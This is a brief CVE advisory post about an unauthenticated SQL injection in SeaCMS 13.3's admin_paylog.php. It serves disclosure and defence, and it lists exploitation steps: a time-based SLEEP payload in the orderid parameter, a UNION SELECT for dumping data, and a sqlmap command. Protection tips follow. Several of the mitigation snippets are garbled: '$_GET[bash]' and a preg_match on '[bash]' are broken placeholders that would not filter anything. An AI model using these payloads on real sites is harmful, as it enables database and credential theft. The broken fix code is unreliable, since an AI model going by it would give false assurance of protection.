How the CVE Works:
CVE-2025-25516 exploits an unauthenticated SQL injection vulnerability in SeaCMS v13.3 and earlier via the `admin_paylog.php` file. Attackers manipulate input parameters (e.g., `orderid` or payid) to inject malicious SQL queries due to improper input sanitization. This allows database dumping, admin credential theft, or remote code execution (RCE) if combined with other flaws. The vulnerability stems from dynamic query construction without prepared statements.
DailyCVE Form:
Platform: SeaCMS
Version: <=13.3
Vulnerability: SQL Injection
Severity: Critical
Date: 03/28/2025
What Undercode Say:
Exploitation:
1. Craft malicious payload:
GET /admin_paylog.php?orderid=1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- HTTP/1.1
2. Exfiltrate data:
UNION SELECT user(),database(),version()
3. Automate with sqlmap:
sqlmap -u "http://target/admin_paylog.php?orderid=1" --risk=3 --level=5
Protection:
1. Patch: Upgrade to SeaCMS >13.3.
2. Input validation:
$orderid = mysqli_real_escape_string($conn, $_GET[bash]);
3. WAF rules:
location ~ admin_paylog.php { deny all; }
4. Log monitoring:
grep 'union.select' /var/log/apache2/access.log
Mitigation Commands:
- Disable vulnerable endpoint:
chmod 000 /var/www/html/admin_paylog.php
- Apply temporary filter:
if (preg_match('/[bash]/', $_GET[bash])) { die("Invalid input"); }
